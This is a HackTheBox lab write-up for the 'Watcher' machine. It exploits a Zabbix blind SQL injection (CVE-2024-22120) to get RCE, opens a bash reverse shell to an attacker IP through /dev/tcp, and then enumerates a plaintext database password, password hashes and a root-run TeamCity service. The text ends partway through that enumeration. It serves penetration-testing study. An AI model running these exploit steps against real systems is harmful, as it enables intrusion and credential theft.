Watcher

Watcher starts with a Zabbix server. I’ll abuse CVE-2024-22120, a blind SQL injection to leak the admin session and get RCE. From there I’ll log in as admin and find a user logging in every minute. I’ll update the login PHP source to save the creds to a file. Those creds also work for a local instance of TeamCity, which I can log into as an admin and abuse a build pipeline to get execution as root.

Box Info

Name Watcher Watcher
Play on HackTheBox
Release Date 02 Oct 2025
Retire Date 02 Oct 2025
OS Linux Linux
Base Points Medium [30]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creators DarkCaT
whateven
Scenario The User flag for this Box is located in a non-standard directory, /.

Recon

Initial Scanning

nmap finds four open TCP ports, SSH (22), HTTP (80), and two Zabbix-related ports (10050, 10051):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.214.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-02 20:08 UTC
...[snip]...
Nmap scan report for 10.129.214.16
Host is up, received echo-reply ttl 63 (0.058s latency).
Scanned at 2025-10-02 20:08:32 UTC for 14s
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE        REASON
22/tcp    open  ssh            syn-ack ttl 63
80/tcp    open  http           syn-ack ttl 63
10050/tcp open  zabbix-agent   syn-ack ttl 63
10051/tcp open  zabbix-trapper syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.03 seconds
           Raw packets sent: 135982 (5.983MB) | Rcvd: 78171 (3.127MB)
oxdf@hacky$ nmap -p 22,80,10050,10051 -sCV 10.129.214.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-02 21:18 UTC
Nmap scan report for 10.129.214.16
Host is up (0.022s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f0:e4:e7:ae:27:22:14:09:0c:fe:1a:aa:85:a8:c3:a5 (ECDSA)
|_  256 fd:a3:b9:36:17:39:25:1d:40:6d:5a:07:97:b3:42:13 (ED25519)
80/tcp    open  http       Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://watcher.vl/
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10).

There is a redirect to watcher.vl on the webserver.

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Subdomain Brute Force

Given the use of some kind of host-based routing on the webserver, I’ll use ffuf to brute force for any subdomains of watcher.vl that respond differently than the default case:

oxdf@hacky$ ffuf -u http://10.129.214.16 -H "Host: FUZZ.watcher.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.214.16
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.watcher.vl
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

zabbix                  [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1408 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

It finds one! I’ll add both to my /etc/hosts file:

10.129.214.16   watcher.vl zabbix.watcher.vl

watcher.vl - TCP 80

Site

The site is for an uptime monitoring company:

image-20251002172446224

All three button pop up a form:

image-20251002172513871

Submitting the form just sends a GET request to / with the parameters in the URL, and the page loads without any indication that the request was actually processed.

Tech Stack

The HTTP response headers don’t show anything else too interesting:

HTTP/1.1 200 OK
Date: Thu, 02 Oct 2025 21:24:18 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Tue, 16 Jul 2024 17:12:12 GMT
ETag: "137f-61d60724d6a62-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 4991
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

The main page loads as index.html, suggesting a static site (and making it even more likely that the form was not actually processed).

The 404 page is just the default Apache 404:

image-20251002172730548

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html as the site uses static pages:

oxdf@hacky$ feroxbuster -u http://watcher.vl -x html
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://watcher.vl
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      157l      389w     4991c http://watcher.vl/
200      GET      157l      389w     4991c http://watcher.vl/index.html
[####################] - 32s    30000/30000   0s      found:2       errors:0      
[####################] - 31s    30000/30000   957/s   http://watcher.vl/

Nothing.

zabbit.watcher.vl - TCP 80

Site

The site loads a Zabbix login page:

image-20251002173143409

As I don’t have creds, I’ll use the “sign in as guest” option, which leads to a dashboard:

image-20251002173510471Click for full size image

Tech Stack

This is clearly Zabbix, the opensource monitoring platform. The page footer once past the login screen shows the version:

image-20251002173732943

The HTTP response headers set the zbx_session cookie, which is standard for Zabbix:

HTTP/1.1 200 OK
Date: Thu, 02 Oct 2025 21:30:46 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJlNWZlZWRlZTc1ZDI4MTQwM2JmYzBhZmMzNjgzMDYxZiIsInNpZ24iOiI4Mjc1NTgwMjg2Y2JhYzY3YmU4NjJlMzQ0ZGE3YTk5NjljYzE2ZjAwNzA2YTUzZmNkYmU1Y2Q1MzhhNDZhNTM0In0%3D; HttpOnly
Vary: Accept-Encoding
Content-Length: 3946
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The 404 page is still the default Apache 404:

image-20251002173037715

I’ll save the directory brute force since this is well know software.

Shell as zabbix

CVE-2024-42327

Identify

Searching for vulnerabilities in this version of Zabbix turns up several references to CVE-2024-42327, as well as CVE-2024-22116:

image-20251002174336967

CVE-2024-22116 is RCE, but only as an administrator, even with restricted permissions.

CVE-2024-42327 is an SQL injection vulnerability that can leak the admin API token, which can lead to RCE. I showed this exact path on Unrested. This only works for a login that gets an API token, which the guest access does not.

A bit more digging finds CVE-2024-22120, another SQL injection in the audit log:

Zabbix server can perform command execution for configured scripts. After command is executed, audit entry is added to “Audit Log”. Due to “clientip” field is not sanitized, it is possible to injection SQL into “clientip” and exploit time based blind SQL injection.

This has potential here. The Zabbix ticket for this vuln specifically calls out that it can lead to RCE, that 7.0.0alpha1 is vulnerable, and gives the steps to exploit.

POC

The first step is to make sure I have access to at least one host. Under Monitoring –> Hosts there’s one entry:

image-20251004064223640

I need to be able to run a command on it. Clicking pops a menu:

image-20251004064248810

“Ping” works (and shows it’s the same host running Zabbix):

image-20251004064313553

I need to get the “sessionid” from the zbx_session cookie. It’s just base64-encoded:

oxdf@hacky$ echo eyJzZXNzaW9uaWQiOiI1MmU5NjcyZDM3NTM2YTM3MDBmNDcwY2Q4NmUxNmM1NiIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk1NzQ1MzksInNpZ24iOiIwOTJjZDc2ODJiNDIyNWM2MTEwZTIyZDRlYjE0NWFkZDgyNTc4Mzk3MTM4MDE3ZWE5ZWU2NjRkZjg3Y2I4OTllIn0= | base64 -d
{"sessionid":"52e9672d37536a3700f470cd86e16c56","serverCheckResult":true,"serverCheckTime":1759574539,"sign":"092cd7682b4225c6110e22d4eb145add82578397138017ea9ee664df87cb899e"}

Finally, I need a valid hostid, which I can get from looking in Burp while on the Monitoring –> Hosts page, as the site is constantly sending refresh requests:

image-20251004064702888

I’ll download the script from the article, and use uv to add the metadata showing the need for pwntools (see the uv cheatsheet):

oxdf@hacky$ uv add --script zabbix_server_time_based_blind_sqli.py pwntools
Updated `zabbix_server_time_based_blind_sqli.py`

This script will fail, just quickly showing an admin session id of all 0. If I watch this in WireShark, I’ll see this:

image-20251004072009140

It’s using scriptid of 3, but this user can’t run that script. If I look at the request that is sent when I click a host to get that menu, I’ll see the response:

image-20251004072138642

There are only ids 1 and 2. I’ll update that in the POC to either of those, and it works:

oxdf@hacky$ uv run --script zabbix_server_time_based_blind_sqli.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084 | grep "(+)"
(+) Extracting Zabbix config session key...
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=2[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=3[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=4[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=5[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=6[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=7[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=8[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=a[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
...[snip]...
(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b9
...[snip]...
(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b9857bc76e26cf108766043dbf43544b
(+) config session_key=b9857bc76e26cf108766043dbf43544b
(+) Extracting admin session_id...
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
...[snip]...
(+) trying c=c[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=d[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) session_key=b9857bc76e26cf108766043dbf43544b, admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d. Now you can generate admin zbx_cookie and sign it with session_key

It’s very slow, but it recovers the key.

RCE

There’s another POC out there that will do the same brute force, but then turn it into RCE. This script takes requests and pwntools, and then gives a shell:

oxdf@hacky$ uv run --script CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084 
Installed 29 packages in 187ms
(!) sessionid=e29cc8d946f1a3135fe7ceec60d0ff0d1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>:  id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)

I added a bit to main so that I didn’t have to do that full brute force again:

        parser.add_argument("--admin-sid", help="Admin session id already recovered")
        args = parser.parse_args()
        if args.admin_sid:
            admin_sessionid = args.admin_sid
        else:
            admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        RceExploit(args.ip, args.hostid, admin_sessionid,args.prefix)
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --hostid 10084 --admin-sid e29cc8d946f1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>:  id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)

Shell

To get a real shell, I’ll give this script a bash reverse shell:

[zabbix_cmd]>>:  bash -c 'bash -i >& /dev/tcp/10.10.15.1/443 0>&1'

This hangs, but at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.214.16 58272
bash: cannot set terminal process group (7180): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@watcher:/$

I’ll upgrade my shell using the standard trick:

zabbix@watcher:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
zabbix@watcher:/$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
zabbix@watcher:/$

And grab user.txt from /:

zabbix@watcher:/$ cat user.txt
380b4ab4************************

Shell as root

Enumeration

Users

There is one user, ubuntu, with a home directory in /home:

zabbix@watcher:/home$ ls
ubuntu
zabbix@watcher:/home$ ls ubuntu/
ls: cannot open directory 'ubuntu/': Permission denied

That matches users with shells set in passwd:

zabbix@watcher:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

Web Servers

The Apache config shows three servers:

zabbix@watcher:/etc/apache2/sites-enabled$ ls
000-default.conf  watcher.vl.conf  zabbix.watcher.vl.conf

These handle the rewrite to watcher.vl, and getting Zabbix to it’s site. The main site is in /var/www/html, and it’s just a single HTML page:

zabbix@watcher:/var/www/html$ ls
index.html

Zabbix DB

I’ll find the Zabbix config in /usr/share/zabbix/conf:

zabbix@watcher:/usr/share/zabbix/conf$ cat zabbix.conf.php
<?php
// Zabbix GUI configuration file.

$DB['TYPE']                     = 'MYSQL';
$DB['SERVER']                   = 'localhost';
$DB['PORT']                     = '0';
$DB['DATABASE']                 = 'zabbix';
$DB['USER']                     = 'zabbix';
$DB['PASSWORD']                 = 'uIy@YyshSuyW%0_puSqA';

// Schema name. Used for PostgreSQL.
$DB['SCHEMA']                   = '';

// Used for TLS connection.
$DB['ENCRYPTION']               = false;
$DB['KEY_FILE']                 = '';
$DB['CERT_FILE']                = '';
$DB['CA_FILE']                  = '';
$DB['VERIFY_HOST']              = false;
$DB['CIPHER_LIST']              = '';

// Vault configuration. Used if database credentials are stored in Vault secrets manager.
$DB['VAULT']                    = '';
$DB['VAULT_URL']                = '';
$DB['VAULT_DB_PATH']            = '';
$DB['VAULT_TOKEN']              = '';
$DB['VAULT_CERT_FILE']          = '';
$DB['VAULT_KEY_FILE']           = '';
// Uncomment to bypass local caching of credentials.
// $DB['VAULT_CACHE']           = true;

// Uncomment and set to desired values to override Zabbix hostname/IP and port.
// $ZBX_SERVER                  = '';
// $ZBX_SERVER_PORT             = '';

$ZBX_SERVER_NAME                = 'Watcher';

$IMAGE_FORMAT_DEFAULT   = IMAGE_FORMAT_PNG;

// Uncomment this block only if you are using Elasticsearch.
// Elasticsearch url (can be string if same url is used for all types).
//$HISTORY['url'] = [
//      'uint' => 'http://localhost:9200',
//      'text' => 'http://localhost:9200'
//];
// Value types stored in Elasticsearch.
//$HISTORY['types'] = ['uint', 'text'];

// Used for SAML authentication.
// Uncomment to override the default paths to SP private key, SP and IdP X.509 certificates, and to set extra settings.
//$SSO['SP_KEY']                        = 'conf/certs/sp.key';
//$SSO['SP_CERT']                       = 'conf/certs/sp.crt';
//$SSO['IDP_CERT']              = 'conf/certs/idp.crt';
//$SSO['SETTINGS']              = [];

That has the DB connection info. I’ll connect:

zabbix@watcher:/usr/share/zabbix/conf$ mysql -h localhost -u zabbix -puIy@YyshSuyW%0_puSqA
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3339
Server version: 8.0.43-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| zabbix             |
+--------------------+
3 rows in set (0.02 sec

There are a ton of tables in zabbix. I’ll get the users:

mysql> select * from users;
+--------+----------+--------+---------------+--------------------------------------------------------------+-----+-----------+------------+---------+---------+---------+----------------+------------+---------------+---------------+----------+--------+-----------------+----------------+
| userid | username | name   | surname       | passwd                                                       | url | autologin | autologout | lang    | refresh | theme   | attempt_failed | attempt_ip | attempt_clock | rows_per_page | timezone | roleid | userdirectoryid | ts_provisioned |
+--------+----------+--------+---------------+--------------------------------------------------------------+-----+-----------+------------+---------+---------+---------+----------------+------------+---------------+---------------+----------+--------+-----------------+----------------+
|      1 | Admin    | Zabbix | Administrator | $2y$10$E9fSsSLiu47a1gnTULjx9.YygFRbVotGx4BOIVRTLdEa5OGAxeX5i |     |         1 | 0          | default | 30s     | default |              0 |            |             0 |            50 | default  |      3 |            NULL |              0 |
|      2 | guest    |        |               | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |     |         0 | 15m        | default | 30s     | default |              0 |            |             0 |            50 | default  |      4 |            NULL |              0 |
|      3 | Frank    | Frank  |               | $2y$10$9WT5xXnxSfuFWHf5iJc.yeeHXbGkrU0S/M2LagY.8XRX7EZmh.kbS |     |         0 | 0          | default | 30s     | default |              0 |            |             0 |            50 | default  |      2 |            NULL |              0 |
+--------+----------+--------+---------------+--------------------------------------------------------------+-----+-----------+------------+---------+---------+---------+----------------+------------+---------------+---------------+----------+--------+-----------------+----------------+
3 rows in set (0.00 sec)

I can dump these hashes to hashcat, but they don’t crack with rockyou.txt.

TeamCity

The netstat shows an interesting port:

zabbix@watcher:/$ ss -tnlp
State    Recv-Q   Send-Q          Local Address:Port        Peer Address:Port   Process                                                                         
LISTEN   0        4096                  0.0.0.0:10050            0.0.0.0:*       users:(("zabbix_agentd",pid=678,fd=4),("zabbix_agentd",pid=677,fd=4),("zabbix_agentd",pid=674,fd=4),("zabbix_agentd",pid=673,fd=4),("zabbix_agentd",pid=672,fd=4),("zabbix_agentd",pid=666,fd=4))
LISTEN   0        4096                  0.0.0.0:10051            0.0.0.0:*                                                                                      
LISTEN   0        70                  127.0.0.1:33060            0.0.0.0:*                                                                                      
LISTEN   0        4096            127.0.0.53%lo:53               0.0.0.0:*                                                                                      
LISTEN   0        151                 127.0.0.1:3306             0.0.0.0:*                                                                                      
LISTEN   0        511                   0.0.0.0:80               0.0.0.0:*                                                                                      
LISTEN   0        128                   0.0.0.0:22               0.0.0.0:*                                                                                      
LISTEN   0        50         [::ffff:127.0.0.1]:9090                   *:*                                                                                      
LISTEN   0        50                          *:42187                  *:*                                                                                      
LISTEN   0        50         [::ffff:127.0.0.1]:52755                  *:*                                                                                      
LISTEN   0        100        [::ffff:127.0.0.1]:8111                   *:*                                                                                      
LISTEN   0        1          [::ffff:127.0.0.1]:8105                   *:*                                                                                      
LISTEN   0        128                      [::]:22                  [::]:*  

10050 and 10051 are Zabbix. But 9090, 8111, and 8015 are localhost only and interesting. Checking them out, 8111 is Team City:

zabbix@watcher:/$ curl -v localhost:8111
*   Trying 127.0.0.1:8111...
* Connected to localhost (127.0.0.1) port 8111 (#0)
> GET / HTTP/1.1
> Host: localhost:8111
> User-Agent: curl/7.81.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 
< TeamCity-Node-Id: MAIN_SERVER
< WWW-Authenticate: Basic realm="TeamCity"
< WWW-Authenticate: Bearer realm="TeamCity"
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Sat, 04 Oct 2025 12:05:08 GMT
< 
Authentication required
* Connection #0 to host localhost left intact
To login manually go to "/login.html" page

There’s also TeamCity processes running:

zabbix@watcher:/$ ps auxww | grep -i teamcity
root         669  0.0  0.0   2892  1664 ?        S    10:37   0:00 sh teamcity-server.sh _start_internal
root         690  0.0  0.0   3016  1920 ?        S    10:37   0:00 sh /root/TeamCity/bin/teamcity-server-restarter.sh run
root        1234 11.4 35.8 5411476 1438352 ?     Sl   10:37  70:46 /usr/lib/jvm/java-1.11.0-openjdk-amd64/bin/java -Djava.util.logging.config.file=/root/TeamCity/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -server -Xmx2g -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:/root/TeamCity/bin/../conf/teamcity-server-log4j.xml -Dteamcity_logs=/root/TeamCity/bin/../logs -Djava.awt.headless=true -Dignore.endorsed.dirs= -classpath /root/TeamCity/bin/bootstrap.jar:/root/TeamCity/bin/tomcat-juli.jar -Dcatalina.base=/root/TeamCity -Dcatalina.home=/root/TeamCity -Djava.io.tmpdir=/root/TeamCity/temp org.apache.catalina.startup.Bootstrap start
root        1597  0.1  1.8 2596644 75180 ?       Sl   10:37   0:43 /usr/lib/jvm/java-1.11.0-openjdk-amd64/bin/java -ea -Xms16m -Xmx64m -cp ../launcher/lib/launcher.jar jetbrains.buildServer.agent.Launcher -ea -XX:+DisableAttachMechanism --add-opens=java.base/java.lang=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -Xmx384m -Dteamcity_logs=../logs/ -Dlog4j2.configurationFile=file:../conf/teamcity-agent-log4j2.xml jetbrains.buildServer.agent.AgentMain -file ../conf/buildAgent.properties
root        1646  0.3  7.3 2993272 295828 ?      Sl   10:38   2:25 /usr/lib/jvm/java-11-openjdk-amd64/bin/java -ea -XX:+DisableAttachMechanism --add-opens=java.base/java.lang=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -Xmx384m -Dteamcity_logs=../logs/ -Dlog4j2.configurationFile=file:../conf/teamcity-agent-log4j2.xml -classpath /root/TeamCity/buildAgent/lib/agent-core.jar:/root/TeamCity/buildAgent/lib/joda-time.jar:/root/TeamCity/buildAgent/lib/jackson-annotations.jar:/root/TeamCity/buildAgent/lib/common-graph.jar:/root/TeamCity/buildAgent/lib/xml-rpc-wrapper.jar:/root/TeamCity/buildAgent/lib/ehcache-core.jar:/root/TeamCity/buildAgent/lib/common-tools.jar:/root/TeamCity/buildAgent/lib/kotlin-stdlib.jar:/root/TeamCity/buildAgent/lib/spring-context.jar:/root/TeamCity/buildAgent/lib/messages.jar:/root/TeamCity/buildAgent/lib/jaxen.jar:/root/TeamCity/buildAgent/lib/xml-apis.jar:/root/TeamCity/buildAgent/lib/platform-specific.jar:/root/TeamCity/buildAgent/lib/launcher.jar:/root/TeamCity/buildAgent/lib/connections-api-common.jar:/root/TeamCity/buildAgent/lib/logging.jar:/root/TeamCity/buildAgent/lib/jackson-module-parameter-names.jar:/root/TeamCity/buildAgent/lib/common-jackson.jar:/root/TeamCity/buildAgent/lib/httpclient.jar:/root/TeamCity/buildAgent/lib/commons-codec.jar:/root/TeamCity/buildAgent/lib/app-wrapper.jar:/root/TeamCity/buildAgent/lib/net.sf.trove4j.trove4j.jar:/root/TeamCity/buildAgent/lib/agent-upgrade.jar:/root/TeamCity/buildAgent/lib/commons-logging.jar:/root/TeamCity/buildAgent/lib/log4j-api.jar:/root/TeamCity/buildAgent/lib/utils.jar:/root/TeamCity/buildAgent/lib/common-vcs.jar:/root/TeamCity/buildAgent/lib/common-config.jar:/root/TeamCity/buildAgent/lib/plugin-model-common.jar:/root/TeamCity/buildAgent/lib/annotations.jar:/root/TeamCity/buildAgent/lib/jackson-core.jar:/root/TeamCity/buildAgent/lib/server-logging.jar:/root/TeamCity/buildAgent/lib/common-spring.jar:/root/TeamCity/buildAgent/lib/coverage-report.jar:/root/TeamCity/buildAgent/lib/kotlin-stdlib-common.jar:/root/TeamCity/buildAgent/lib/agent-configurator.jar:/root/TeamCity/buildAgent/lib/commons-io.jar:/root/TeamCity/buildAgent/lib/patches-low.jar:/root/TeamCity/buildAgent/lib/inspections-util.jar:/root/TeamCity/buildAgent/lib/xstream.jar:/root/TeamCity/buildAgent/lib/jackson-dataformat-yaml.jar:/root/TeamCity/buildAgent/lib/build-version.jar:/root/TeamCity/buildAgent/lib/common-impl.jar:/root/TeamCity/buildAgent/lib/spring-instrument.jar:/root/TeamCity/buildAgent/lib/com.github.adedayo.intellij.sdk.trove4j.jar:/root/TeamCity/buildAgent/lib/cloud-shared-core.jar:/root/TeamCity/buildAgent/lib/coverage-java-agent-common.jar:/root/TeamCity/buildAgent/lib/jackson-databind.jar:/root/TeamCity/buildAgent/lib/xz.jar:/root/TeamCity/buildAgent/lib/jackson-module-jaxb-annotations.jar:/root/TeamCity/buildAgent/lib/slf4j-api.jar:/root/TeamCity/buildAgent/lib/buildAgent-updates-applying.jar:/root/TeamCity/buildAgent/lib/server-deployment-config.jar:/root/TeamCity/buildAgent/lib/idea-settings.jar:/root/TeamCity/buildAgent/lib/jackson-datatype-jdk8.jar:/root/TeamCity/buildAgent/lib/commons-httpclient.jar:/root/TeamCity/buildAgent/lib/stax2-api.jar:/root/TeamCity/buildAgent/lib/gson.jar:/root/TeamCity/buildAgent/lib/spring-jdbc.jar:/root/TeamCity/buildAgent/lib/httpcore.jar:/root/TeamCity/buildAgent/lib/jdom.jar:/root/TeamCity/buildAgent/lib/oauth-integration-agent.jar:/root/TeamCity/buildAgent/lib/spring-tx.jar:/root/TeamCity/buildAgent/lib/runtime-util.jar:/root/TeamCity/buildAgent/lib/commons-collections.jar:/root/TeamCity/buildAgent/lib/xmlpull.jar:/root/TeamCity/buildAgent/lib/jackson-datatype-jsr310.jar:/root/TeamCity/buildAgent/lib/launcher-api.jar:/root/TeamCity/buildAgent/lib/nuget-utils.jar:/root/TeamCity/buildAgent/lib/common.jar:/root/TeamCity/buildAgent/lib/patches-impl.jar:/root/TeamCity/buildAgent/lib/freemarker.jar:/root/TeamCity/buildAgent/lib/snakeyaml.jar:/root/TeamCity/buildAgent/lib/spring-expression.jar:/root/TeamCity/buildAgent/lib/spring-core.jar:/root/TeamCity/buildAgent/lib/patches.jar:/root/TeamCity/buildAgent/lib/spring-context-support.jar:/root/TeamCity/buildAgent/lib/service-utils.jar:/root/TeamCity/buildAgent/lib/jakarta.xml.bind-api.jar:/root/TeamCity/buildAgent/lib/log4j-slf4j-impl.jar:/root/TeamCity/buildAgent/lib/agentInstaller-UI.jar:/root/TeamCity/buildAgent/lib/agent-openapi.jar:/root/TeamCity/buildAgent/lib/agent-launcher.jar:/root/TeamCity/buildAgent/lib/spring-aspects.jar:/root/TeamCity/buildAgent/lib/jdk-searcher.jar:/root/TeamCity/buildAgent/lib/mxparser.jar:/root/TeamCity/buildAgent/lib/commons-compress.jar:/root/TeamCity/buildAgent/lib/xercesImpl.jar:/root/TeamCity/buildAgent/lib/agent-deployment-config.jar:/root/TeamCity/buildAgent/lib/log4j-1.2-api.jar:/root/TeamCity/buildAgent/lib/jackson-dataformat-xml.jar:/root/TeamCity/buildAgent/lib/xmlrpc.jar:/root/TeamCity/buildAgent/lib/spring-scripting/spring-scripting-bsh.jar:/root/TeamCity/buildAgent/lib/spring-scripting/spring-scripting-jruby.jar:/root/TeamCity/buildAgent/lib/spring-scripting/spring-scripting-groovy.jar:/root/TeamCity/buildAgent/lib/log4j-core.jar:/root/TeamCity/buildAgent/lib/idea-obsolete-openapi.jar:/root/TeamCity/buildAgent/lib/agent-launcher-common.jar:/root/TeamCity/buildAgent/lib/xpp3.jar:/root/TeamCity/buildAgent/lib/woodstox-core.jar:/root/TeamCity/buildAgent/lib/spring-aop.jar:/root/TeamCity/buildAgent/lib/agent-deployment.jar:/root/TeamCity/buildAgent/lib/httpmime.jar:/root/TeamCity/buildAgent/lib/common-runtime.jar:/root/TeamCity/buildAgent/lib/commons-beanutils.jar:/root/TeamCity/buildAgent/lib/duplicator-util.jar:/root/TeamCity/buildAgent/lib/agent-upgrade-common.jar:/root/TeamCity/buildAgent/lib/spring-beans.jar:/root/TeamCity/buildAgent/lib/common-step-conditions.jar:/root/TeamCity/buildAgent/lib/serviceMessages.jar jetbrains.buildServer.agent.AgentMain -file ../conf/buildAgent.properties -launcher.version 2024.03-156364
